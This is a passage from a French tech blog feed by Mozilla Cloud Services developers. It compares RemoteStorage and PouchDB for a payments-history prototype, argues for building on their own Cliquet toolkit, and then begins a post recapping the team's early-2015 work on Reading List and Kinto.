&lt;p&gt;L&amp;#8217;&lt;span class="caps"&gt;API&lt;/span&gt; est simple, des &lt;a href="http://blog.cozycloud.cc/news/2014/08/12/when-unhosted-meets-cozy-cloud/"&gt;projets prestigieux
l&amp;#8217;utilisent&lt;/a&gt;.
Il y a plusieurs &lt;a href="https://github.com/jcoglan/restore"&gt;implémentations&lt;/a&gt;
du serveur, et il existe &lt;a href="https://www.npmjs.com/package/remotestorage-server"&gt;un squelette
Node&lt;/a&gt; pour
construire un serveur sur&amp;nbsp;mesure.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Remote Storage widget" src="%7Bfilename%7D/images/remotestorage-widget.png"&gt;&lt;/p&gt;
&lt;p&gt;Le client
&lt;a href="https://github.com/remotestorage/remotestorage.js/"&gt;remoteStorage.js&lt;/a&gt;
permet d&amp;#8217;intégrer la solution dans les applications Web. Il se charge du
«store local», du cache, de la synchronization, et fournit un widget qui
permet aux utilisateurs des applications de choisir le serveur qui
recevra les données (via&amp;nbsp;Webfinger).&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/michielbdejong/ludbud"&gt;ludbud&lt;/a&gt;, la version épurée de
&lt;em&gt;remoteStorage.js&lt;/em&gt;, se limite à l&amp;#8217;abstraction du stockage distant. Cela
permettrait à terme, d&amp;#8217;avoir une seule bibliothèque pour stocker dans un
serveur &lt;em&gt;remoteStorage&lt;/em&gt;, &lt;em&gt;ownCloud&lt;/em&gt; ou chez les méchants comme &lt;em&gt;Google
Drive&lt;/em&gt; ou &lt;em&gt;Dropbox&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Au premier abord, la spécification correspond à ce que nous voulons&amp;nbsp;accomplir:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;La philosophie du protocole est&amp;nbsp;saine;&lt;/li&gt;
&lt;li&gt;L&amp;#8217;éco-système est bien&amp;nbsp;fichu;&lt;/li&gt;
&lt;li&gt;La vision politique colle: redonner le contrôle des données aux
    utilisateurs (voir &lt;a href="http://unhosted.org/"&gt;unhosted&lt;/a&gt;);&lt;/li&gt;
&lt;li&gt;Les choix techniques compatibles avec ce qu&amp;#8217;on a commencé (&lt;span class="caps"&gt;CORS&lt;/span&gt;,
    &lt;span class="caps"&gt;REST&lt;/span&gt;, OAuth&amp;nbsp;2);&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;En revanche, vis à vis de la manipulation des données, il y a plusieurs
différences avec ce que nous souhaitons&amp;nbsp;faire:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;L&amp;#8217;&lt;span class="caps"&gt;API&lt;/span&gt; suit globalement une métaphore «fichiers» (dossier/documents),
    plutôt que «données» (collection/enregistrements)&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Il n&amp;#8217;y a pas de validation des enregistrements selon un schéma (même
    si &lt;a href="https://remotestorage.io/doc/code/files/baseclient/types-js.html"&gt;certaines
    implémentations&lt;/a&gt;
    du protocole le font)&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Il n&amp;#8217;y a pas la possibilité de trier/filtrer les enregistrements
    selon des attributs&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Les permissions &lt;a href="https://groups.google.com/forum/#!topic/unhosted/5_NOGq8BPTo"&gt;se limitent à
    privé/public&lt;/a&gt;
    (et &lt;a href="https://github.com/remotestorage/spec/issues/58#issue-27249452"&gt;l&amp;#8217;auteur envisage plutôt un modèle à la
    Git&lt;/a&gt;)[1]&amp;nbsp;;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;En résumé, il semblerait que ce que nous souhaitons faire avec le
stockage d&amp;#8217;enregistrements validés est complémentaire avec &lt;em&gt;Remote
Storage&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Si des besoins de persistence orientés «fichiers» se présentent, a
priori nous aurions tort de réinventer les solutions apportées par cette
spécification. Il y a donc de grandes chances que nous l´intégrions à
terme, et que &lt;em&gt;Remote Storage&lt;/em&gt; devienne une facette de notre&amp;nbsp;solution.&lt;/p&gt;
&lt;h2 id="pouchdb"&gt;PouchDB&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://pouchdb.com/"&gt;PouchDB&lt;/a&gt; est une bibliothèque JavaScript qui
permet de manipuler des enregistrements en local et de les synchroniser
vers une base&amp;nbsp;distante.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;javascript&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PouchDB&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;dbname&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;put&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;dave@gmail.com&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;David&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replicate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://example.com/mydb&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Le projet a le vent en poupe, bénéficie de nombreux contributeurs,
l&amp;#8217;éco-système est très riche et l&amp;#8217;adoption par des projets &lt;a href="https://github.com/hoodiehq/wip-hoodie-store-on-pouchdb"&gt;comme
Hoodie&lt;/a&gt; ne fait
que confirmer la pertinence de l&amp;#8217;outil pour les développeurs&amp;nbsp;frontend.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;PouchDB&lt;/em&gt; gère un « store » local, dont la persistence est abstraite et
&lt;a href="http://pouchdb.com/2014/07/25/pouchdb-levels-up.html"&gt;repose sur&lt;/a&gt; l&amp;#8217;&lt;span class="caps"&gt;API&lt;/span&gt;
&lt;a href="https://github.com/level/levelup#relationship-to-leveldown"&gt;LevelDown&lt;/a&gt;
pour persister les données dans &lt;a href="https://github.com/Level/levelup/wiki/Modules#storage-back-ends"&gt;n&amp;#8217;importe quel
backend&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Même si &lt;em&gt;PouchDB&lt;/em&gt; adresse principalement les besoins des applications
«*offline-first*», il peut être utilisé aussi bien dans le navigateur
que côté serveur, via&amp;nbsp;Node.&lt;/p&gt;
&lt;h3 id="synchronisation"&gt;Synchronisation&lt;/h3&gt;
&lt;p&gt;La synchronisation (ou réplication) des données locales s&amp;#8217;effectue sur
un &lt;a href="http://couchdb.apache.org/"&gt;CouchDB&lt;/a&gt;&amp;nbsp;distant.&lt;/p&gt;
&lt;p&gt;Le projet &lt;a href="https://github.com/pouchdb/pouchdb-server"&gt;PouchDB Server&lt;/a&gt;
implémente l&amp;#8217;&lt;span class="caps"&gt;API&lt;/span&gt; de CouchDB en NodeJS. Comme &lt;em&gt;PouchDB&lt;/em&gt; est utilisé, on
obtient un service qui se comporte comme un &lt;em&gt;CouchDB&lt;/em&gt; mais qui stocke
ses données n&amp;#8217;importe où, dans un &lt;em&gt;Redis&lt;/em&gt; ou un &lt;em&gt;PostgreSQL&lt;/em&gt; par&amp;nbsp;exemple.&lt;/p&gt;
&lt;p&gt;La synchronisation est complète. Autrement dit, tous les enregistrements
qui sont sur le serveur se retrouvent synchronisés dans le client. Il
est possible de filtrer les collections synchronisées, mais cela &lt;a href="http://pouchdb.com/2015/04/05/filtered-replication.html"&gt;n&amp;#8217;a
pas pour objectif de sécuriser l&amp;#8217;accès aux
données&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;L&amp;#8217;approche recommandée pour cloisonner les données par utilisateur
consiste à créer &lt;a href="https://github.com/nolanlawson/pouchdb-authentication#some-people-can-read-some-docs-some-people-can-write-those-same-docs"&gt;une base de données par
utilisateur&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ce n&amp;#8217;est pas forcément un problème, CouchDB &lt;a href="https://mail-archives.apache.org/mod_mbox/couchdb-user/201401.mbox/%3C52CEB873.7080404@ironicdesign.com%3E"&gt;supporte des centaines de
milliers de bases sans
sourciller&lt;/a&gt;.
Mais selon les cas d&amp;#8217;utilisation, le cloisement n&amp;#8217;est pas toujours
facile à déterminer (par rôle, par application, par collection,&amp;nbsp;&amp;#8230;).&lt;/p&gt;
&lt;h2 id="le-cas-dutilisation-payments"&gt;Le cas d&amp;#8217;utilisation « Payments&amp;nbsp;»&lt;/h2&gt;
&lt;p&gt;&lt;img alt="Put Payments Here -- Before the Internet - CC-NC-SA Katy Silberger
https://www.flickr.com/photos/katysilbs/11163812186" src="%7Bfilename%7D/images/put-payments.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Dans les prochaines semaines, nous devrons mettre sur pied un prototype
pour tracer l&amp;#8217;historique des paiements et abonnements d&amp;#8217;un&amp;nbsp;utilisateur.&lt;/p&gt;
&lt;p&gt;Le besoin est&amp;nbsp;simple:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;l&amp;#8217;application « Payment » enregistre les paiements et abonnements
    d&amp;#8217;un utilisateur pour une application&amp;nbsp;donnée;&lt;/li&gt;
&lt;li&gt;l&amp;#8217;application « Donnée » interroge le service pour vérifier qu&amp;#8217;un
    utilisateur a payé ou est&amp;nbsp;abonné;&lt;/li&gt;
&lt;li&gt;l&amp;#8217;utilisateur interroge le service pour obtenir la liste de tous ses&amp;nbsp;abonnements.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Seule l&amp;#8217;application « Payment » a le droit de créer/modifier/supprimer
des enregistrements, les deux autres ne peuvent que consulter en lecture&amp;nbsp;seule.&lt;/p&gt;
&lt;p&gt;Une application donnée ne peut pas accéder aux paiements des autres
applications, et un utilisateur ne peut pas accéder aux paiements des
autres&amp;nbsp;utilisateurs.&lt;/p&gt;
&lt;h3 id="avec-remotestorage"&gt;Avec&amp;nbsp;RemoteStorage&lt;/h3&gt;
&lt;p&gt;&lt;img alt="Remote Love - CC-BY-NC Julie
https://www.flickr.com/photos/mamajulie2008/2609549461" src="%7Bfilename%7D/images/remote-love.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Clairement, l&amp;#8217;idée de &lt;em&gt;RemoteStorage&lt;/em&gt; est de dissocier l&amp;#8217;application
executée, et les données créées par l&amp;#8217;utilisateur avec&amp;nbsp;celle-ci.&lt;/p&gt;
&lt;p&gt;Dans notre cas, c&amp;#8217;est l&amp;#8217;application « Payment » qui manipule des données
concernant un utilisateur. Mais celles-ci ne lui appartiennent pas
directement: certes un utilisateur doit pouvoir les supprimer, surtout
pas en créer ou les&amp;nbsp;modifier!&lt;/p&gt;
&lt;p&gt;La notion de permissions limitée à privé/publique ne suffit pas dans ce
cas&amp;nbsp;précis.&lt;/p&gt;
&lt;h3 id="avec-pouchdb"&gt;Avec&amp;nbsp;PouchDB&lt;/h3&gt;
&lt;p&gt;Il va falloir créer une &lt;em&gt;base de données&lt;/em&gt; par utilisateur, afin d&amp;#8217;isoler
les enregistrements de façon sécurisée. Seule l&amp;#8217;application « Payment »
aura tous les droits sur les&amp;nbsp;databases.&lt;/p&gt;
&lt;p&gt;Mais cela ne suffit&amp;nbsp;pas.&lt;/p&gt;
&lt;p&gt;Il ne faut pas qu&amp;#8217;une application puisse voir les paiements des autres
applications, donc il va aussi falloir recloisonner, et créer une &lt;em&gt;base
de données&lt;/em&gt; par&amp;nbsp;application.&lt;/p&gt;
&lt;p&gt;Quand un utilisateur voudra accéder à l&amp;#8217;ensemble de ses paiements, il
faudra agréger les &lt;em&gt;databases&lt;/em&gt; de toutes les applications. Quand
l&amp;#8217;équipe marketing voudra faire des statistiques sur l&amp;#8217;ensemble des
applications, il faudra agrégér des centaines de milliers de
&lt;em&gt;databases&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Ce qui est fort dommage, puisqu&amp;#8217;il est probable que les paiements ou
abonnements d&amp;#8217;un utilisateur pour une application se comptent sur les
doigts d&amp;#8217;une main. Des centaines de milliers de bases contenant moins de
5 enregistrements&amp;nbsp;?&lt;/p&gt;
&lt;p&gt;De plus, dans le cas de l&amp;#8217;application « Payment », le serveur est
implémenté en Python. Utiliser un wrapper JavaScript comme le fait
&lt;a href="https://pythonhosted.org/Python-PouchDB/"&gt;python-pouchdb&lt;/a&gt; cela ne nous
fait pas trop&amp;nbsp;rêver.&lt;/p&gt;
&lt;h2 id="un-nouvel-eco-systeme"&gt;Un nouvel éco-système&amp;nbsp;?&lt;/h2&gt;
&lt;p&gt;&lt;img alt="Wagon wheel - CC-BY-NC-SA arbyreed
https://www.flickr.com/photos/19779889@N00/16161808220" src="%7Bfilename%7D/images/wagon-wheel.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Évidemment, quand on voit la richesse des projets &lt;em&gt;PouchDB&lt;/em&gt; et &lt;em&gt;Remote
Storage&lt;/em&gt; et la dynamique de ces communautés, il est légitime d&amp;#8217;hésiter
avant de développer une solution&amp;nbsp;alternative.&lt;/p&gt;
&lt;p&gt;Quand nous avons créé le serveur &lt;em&gt;Reading List&lt;/em&gt;, nous l&amp;#8217;avons construit
avec &lt;a href="http://cliquet.readthedocs.org/"&gt;Cliquet&lt;/a&gt;, ce fût l&amp;#8217;occasion de
mettre au point &lt;a href="http://cliquet.readthedocs.org/en/latest/api/"&gt;un protocole très
simple&lt;/a&gt;, fortement
inspiré de &lt;a href="http://en.wikipedia.org/wiki/Firefox_Sync"&gt;Firefox Sync&lt;/a&gt;,
pour faire de la synchronisation&amp;nbsp;d&amp;#8217;enregistrements.&lt;/p&gt;
&lt;p&gt;Et si les clients &lt;em&gt;Reading List&lt;/em&gt; ont pu être implémentés en quelques
semaines, que ce soit en JavaScript, Java (Android) et &lt;span class="caps"&gt;ASM&lt;/span&gt; (Add-on
Firefox), c&amp;#8217;est que le principe «*offline first*» du service est&amp;nbsp;trivial.&lt;/p&gt;
&lt;h3 id="les-compromis"&gt;Les&amp;nbsp;compromis&lt;/h3&gt;
&lt;p&gt;Évidemment, nous n&amp;#8217;avons pas la prétention de concurrencer &lt;em&gt;CouchDB&lt;/em&gt;.
Nous faisons plusieurs&amp;nbsp;concessions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;De base, les collections d&amp;#8217;enregistrements sont cloisonnées par&amp;nbsp;utilisateur;&lt;/li&gt;
&lt;li&gt;Pas d&amp;#8217;historique des&amp;nbsp;révisions;&lt;/li&gt;
&lt;li&gt;Pas de diff sur les enregistrements entre&amp;nbsp;révisions;&lt;/li&gt;
&lt;li&gt;De base, pas de résolution de conflit&amp;nbsp;automatique;&lt;/li&gt;
&lt;li&gt;Pas de synchronisation par flux (&lt;em&gt;streams&lt;/em&gt;);&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Jusqu&amp;#8217;à preuve du contraire, ces compromis excluent la possibilité
d&amp;#8217;implémenter un &lt;a href="https://github.com/pouchdb/pouchdb/blob/master/lib/adapters/http/http.js#L721-L946"&gt;adapter
PouchDB&lt;/a&gt;
pour la synchronisation avec le protocole &lt;span class="caps"&gt;HTTP&lt;/span&gt; de &lt;em&gt;Cliquet&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Dommage puisque capitaliser sur l&amp;#8217;expérience client de &lt;em&gt;PouchDB&lt;/em&gt; au
niveau synchro client semble être une très bonne&amp;nbsp;idée.&lt;/p&gt;
&lt;p&gt;En revanche, nous avons plusieurs fonctionnalités&amp;nbsp;intéressantes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pas de&amp;nbsp;map-reduce;&lt;/li&gt;
&lt;li&gt;Synchronisation partielle et/ou ordonnée et/ou paginée&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Le client choisit, via des headers, d&amp;#8217;écraser la donnée ou de
    respecter la version du serveur&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Un seul serveur à déployer pour N applications&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Auto-hébergement simplissime&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Le client peut choisir de ne pas utiliser de « store local » du tout&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Dans le client &lt;span class="caps"&gt;JS&lt;/span&gt;, la gestion du « store local » sera externalisée
    (on pense à &lt;a href="https://github.com/mozilla/localForage"&gt;LocalForage&lt;/a&gt; ou
    &lt;a href="https://github.com/dfahlander/Dexie.js"&gt;Dexie.js&lt;/a&gt;)&amp;nbsp;;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Et, on répond au reste des &lt;a href="#storage-specs"&gt;specifications mentionnées au début de
l&amp;#8217;article&lt;/a&gt;&amp;nbsp;!&lt;/p&gt;
&lt;h3 id="les-arguments-philosophiques"&gt;Les arguments&amp;nbsp;philosophiques&lt;/h3&gt;
&lt;p&gt;Il est &lt;a href="http://en.wikipedia.org/wiki/Law_of_the_instrument"&gt;illusoire de penser qu&amp;#8217;on peut tout faire avec un seul
outil&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Nous avons d&amp;#8217;autres cas d&amp;#8217;utilisations dans les cartons qui semblent
correspondre au scope de &lt;em&gt;PouchDB&lt;/em&gt; (&lt;em&gt;pas de notion de permissions ou de
partage, environnement JavaScript, &amp;#8230;&lt;/em&gt;). Nous saurons en tirer profit
quand cela s&amp;#8217;avèrera pertinent&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;L&amp;#8217;éco-système que nous voulons construire tentera de couvrir les cas
d&amp;#8217;utilisation qui sont mal adressés par &lt;em&gt;PouchDB&lt;/em&gt;. Il se&amp;nbsp;voudra:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Basé sur notre protocole très simple&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Minimaliste et multi-usages (&lt;em&gt;comme la fameuse &lt;span class="caps"&gt;2CV&lt;/span&gt;&lt;/em&gt;)&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Naïf (&lt;em&gt;pas de rocket science&lt;/em&gt;)&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Sans magie (&lt;em&gt;explicite et facile à réimplémenter from scratch&lt;/em&gt;)&amp;nbsp;;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://cliquet.readthedocs.org/en/latest/rationale.html"&gt;La philosophie et les fonctionnalités du toolkit python
Cliquet&lt;/a&gt; seront
bien entendu à l&amp;#8217;honneur&amp;nbsp;:)&lt;/p&gt;
&lt;p&gt;Quant à &lt;em&gt;Remote Storage&lt;/em&gt;, dès que le besoin se présentera, nous serons
très fier de rejoindre l&amp;#8217;initiative, mais pour l&amp;#8217;instant cela nous
paraît risqué de démarrer en tordant la&amp;nbsp;solution.&lt;/p&gt;
&lt;h3 id="les-arguments-pratiques"&gt;Les arguments&amp;nbsp;pratiques&lt;/h3&gt;
&lt;p&gt;Avant d&amp;#8217;accepter de déployer une solution à base de &lt;em&gt;CouchDB&lt;/em&gt;, les &lt;em&gt;ops&lt;/em&gt;
de Mozilla vont nous demander de leur prouver par A+B que ce n&amp;#8217;est pas
faisable avec les stacks qui sont déjà rodées en interne (i.e. MySQL,
Redis,&amp;nbsp;PostgreSQL).&lt;/p&gt;
&lt;p&gt;De plus, on doit s&amp;#8217;engager sur une pérennité d&amp;#8217;au moins 5 ans pour les
données. Avec &lt;em&gt;Cliquet&lt;/em&gt;, en utilisant le backend PostgreSQL, les données
sont persistées à plat dans un &lt;a href="https://github.com/mozilla-services/cliquet/blob/40aa33/cliquet/storage/postgresql/schema.sql#L14-L28"&gt;schéma PostgreSQL tout
bête&lt;/a&gt;.
Ce qui ne sera pas le cas d&amp;#8217;un adapteur LevelDown qui va manipuler des
notions de révisions éclatées dans un schéma&amp;nbsp;clé-valeur.&lt;/p&gt;
&lt;p&gt;Si nous basons le service sur &lt;em&gt;Cliquet&lt;/em&gt;, comme c&amp;#8217;est le cas avec
&lt;a href="http://kinto.readthedocs.org"&gt;Kinto&lt;/a&gt;, tout le travail d&amp;#8217;automatisation
de la mise en production (&lt;em&gt;monitoring, builds &lt;span class="caps"&gt;RPM&lt;/span&gt;, Puppet&amp;#8230;&lt;/em&gt;) que nous
avons fait pour &lt;em&gt;Reading List&lt;/em&gt; est complètement&amp;nbsp;réutilisable.&lt;/p&gt;
&lt;p&gt;De même, si on repart avec une stack complètement différente, nous
allons devoir recommencer tout le travail de rodage, de profiling et
d&amp;#8217;optimisation effectué au premier&amp;nbsp;trimestre.&lt;/p&gt;
&lt;h2 id="les-prochaines-etapes"&gt;Les prochaines&amp;nbsp;étapes&lt;/h2&gt;
&lt;p&gt;Et il est encore temps de changer de stratégie :) Nous aimerions avoir
un maximum de retours ! C&amp;#8217;est toujours une décision difficile à
prendre&amp;#8230; &lt;code&gt;&amp;lt;/appel à troll&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tordre un éco-système existant vs. constuire sur mesure&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Maîtriser l&amp;#8217;ensemble vs. s&amp;#8217;intégrer&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Contribuer vs. refaire&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Guider vs.&amp;nbsp;suivre.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nous avons vraiment l&amp;#8217;intention de rejoindre l&amp;#8217;initiative
&lt;a href="https://nobackend.org/"&gt;no-backend&lt;/a&gt;, et ce premier pas n&amp;#8217;exclue pas que
nous convergions à terme ! Peut-être que nous allons finir par rendre
notre service compatible avec &lt;em&gt;Remote Storage&lt;/em&gt;, et peut-être que
&lt;em&gt;PouchDB&lt;/em&gt; deviendra plus agnostique quand au protocole de&amp;nbsp;synchronisation&amp;#8230;&lt;/p&gt;
&lt;p&gt;&lt;img alt="XKCD — Standards
https://xkcd.com/927/" src="%7Bfilename%7D/images/standards.png"&gt;&lt;/p&gt;
&lt;p&gt;Utiliser ce nouvel écosystème pour le projet « Payments » va nous
permettre de mettre au point un système de permissions (&lt;em&gt;probablement
basé sur les scopes OAuth&lt;/em&gt;) qui correspond au besoin exprimé. Et nous
avons bien l&amp;#8217;intention de puiser dans &lt;a href="http://blog.daybed.io/daybed-revival.html"&gt;notre expérience avec Daybed sur
le sujet&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Nous extrairons aussi le code des clients implémentés pour &lt;em&gt;Reading
List&lt;/em&gt; afin de faire un client JavaScript&amp;nbsp;minimaliste.&lt;/p&gt;
&lt;p&gt;En partant dans notre coin, nous prenons plusieurs&amp;nbsp;risques:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;réinventer une roue dont nous n&amp;#8217;avons pas connaissance&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;échouer à faire de l&amp;#8217;éco-système &lt;em&gt;Cliquet&lt;/em&gt; un projet communautaire&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;échouer à positionner &lt;em&gt;Cliquet&lt;/em&gt; dans la niche des cas non couverts
    par PouchDB&amp;nbsp;:)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Comme &lt;a href="http://pouchdb.com/2015/04/05/filtered-replication.html"&gt;le dit Giovanni
Ornaghi&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rolling out your set of webservices, push notifications, or background
services might give you more control, but at the same time it will
force you to engineer, write, test, and maintain a whole new&amp;nbsp;ecosystem.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;C&amp;#8217;est justement l&amp;#8217;éco-système dont est responsable l&amp;#8217;équipe &lt;em&gt;Mozilla
Cloud Services&lt;/em&gt;!&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Il existe le &lt;a href="https://sharesome.5apps.com/"&gt;projet Sharesome&lt;/a&gt; qui
    permet de partager publiquement des ressources de son &lt;em&gt;remote
    Storage&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;</content><category term="code"></category></entry><entry><title>Service de nuages !</title><link href="https://blog.notmyidea.org/service-de-nuages-fr.html" rel="alternate"></link><published>2015-04-01T00:00:00+02:00</published><updated>2015-04-01T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2015-04-01:/service-de-nuages-fr.html</id><summary type="html">&lt;p class="first last"&gt;Retour sur le premier trimestre 2015: Readinglist, Kinto,&amp;nbsp;Cliquet.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;&lt;em&gt;Cet article est repris depuis le blog « Service de Nuages » de mon équipe à&amp;nbsp;Mozilla&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Pas mal de changements depuis le début de l&amp;#8217;année pour l&amp;#8217;équipe
«cloud-services»&amp;nbsp;francophone!&lt;/p&gt;
&lt;p&gt;Tout d&amp;#8217;abord, nouvelle importante, l&amp;#8217;équipe s&amp;#8217;étoffe avec des profils assez
complémentaires: &lt;a class="reference external" href="https://nicolas.perriault.net/"&gt;n1k0&lt;/a&gt; et &lt;a class="reference external" href="http://mathieu-leplatre.info"&gt;Mathieu&lt;/a&gt; sont venus prêter main forte à &lt;a class="reference external" href="http://ziade.org/"&gt;Tarek&lt;/a&gt;, &lt;a class="reference external" href="http://natim.ionyse.com"&gt;Rémy&lt;/a&gt; et &lt;a class="reference external" href="http://notmyidea.org"&gt;Alexis&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Le début de l&amp;#8217;année a vu le lancement de &lt;a class="reference external" href="https://www.mozilla.org/en-US/firefox/hello/"&gt;Firefox Hello&lt;/a&gt; ce qui nous a permis de passer
à l&amp;#8217;échelle &lt;a class="reference external" href="https://github.com/mozilla-services/loop-server"&gt;le serveur&lt;/a&gt;,
écrit en Node.js®, pour&amp;nbsp;l&amp;#8217;occasion.&lt;/p&gt;
&lt;div class="section" id="un-serveur-de-listes-de-lecture"&gt;
&lt;h2&gt;Un serveur de listes de&amp;nbsp;lecture&lt;/h2&gt;
&lt;p&gt;En parallèle, un projet de &lt;a class="reference external" href="https://readinglist.readthedocs.org"&gt;synchronisation de liste de lecture&lt;/a&gt; (&lt;em&gt;Reading List&lt;/em&gt;) a vu le jour.  L&amp;#8217;idée
étant de pouvoir marquer des pages &amp;#8220;à lire pour plus tard&amp;#8221; et de continuer la
lecture sur n&amp;#8217;importe quel périphérique synchronisé (Firefox pour Android ou
Firefox Desktop). Un équivalent libre à &lt;a class="reference external" href="http://getpocket.com"&gt;Pocket&lt;/a&gt; en quelque sorte, qu&amp;#8217;il est
possible d&amp;#8217;héberger&amp;nbsp;soit-même.&lt;/p&gt;
&lt;img alt="Capture d'écran de Firefox nightly avec readinglist." src="https://blog.notmyidea.org/images/readinglist-screenshot.png" /&gt;
&lt;p&gt;Pour le construire, nous aurions pu réutiliser &lt;a class="reference external" href="https://github.com/mozilla-services/server-syncstorage"&gt;Firefox Sync&lt;/a&gt;, après tout
c&amp;#8217;est un service de synchronisation de données très robuste, construit avec &lt;a class="reference external" href="http://cornice.readthedocs.org/"&gt;Cornice&lt;/a&gt;.
Mais seulement, &lt;em&gt;Sync&lt;/em&gt; n&amp;#8217;a pas été pensé pour garantir la pérennité des données,
et la marche était trop haute pour changer ça en&amp;nbsp;profondeur.&lt;/p&gt;
&lt;p&gt;Nous aurions pu aussi nous contenter de faire une énième application qui expose
une &lt;span class="caps"&gt;API&lt;/span&gt; et persiste des données dans une base de&amp;nbsp;données.&lt;/p&gt;
&lt;p&gt;Mais cette nouvelle petite équipe n&amp;#8217;est pas là par hasard&amp;nbsp;:)&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="la-daybed-team"&gt;
&lt;h2&gt;La «Daybed&amp;nbsp;Team»&lt;/h2&gt;
&lt;p&gt;On partage une vision: un service générique de stockage de données ! Peut-être
que ça vous rappelle &lt;a class="reference external" href="https://daybed.io"&gt;un certain projet nommé Daybed&lt;/a&gt; ?
Pour les applications clientes, JavaScript, mobiles ou autres, l&amp;#8217;utilisation de
ce service doit être un jeu d&amp;#8217;enfant ! L&amp;#8217;application gère ses données
localement (aka offline-first), et synchronise à la&amp;nbsp;demande.&lt;/p&gt;
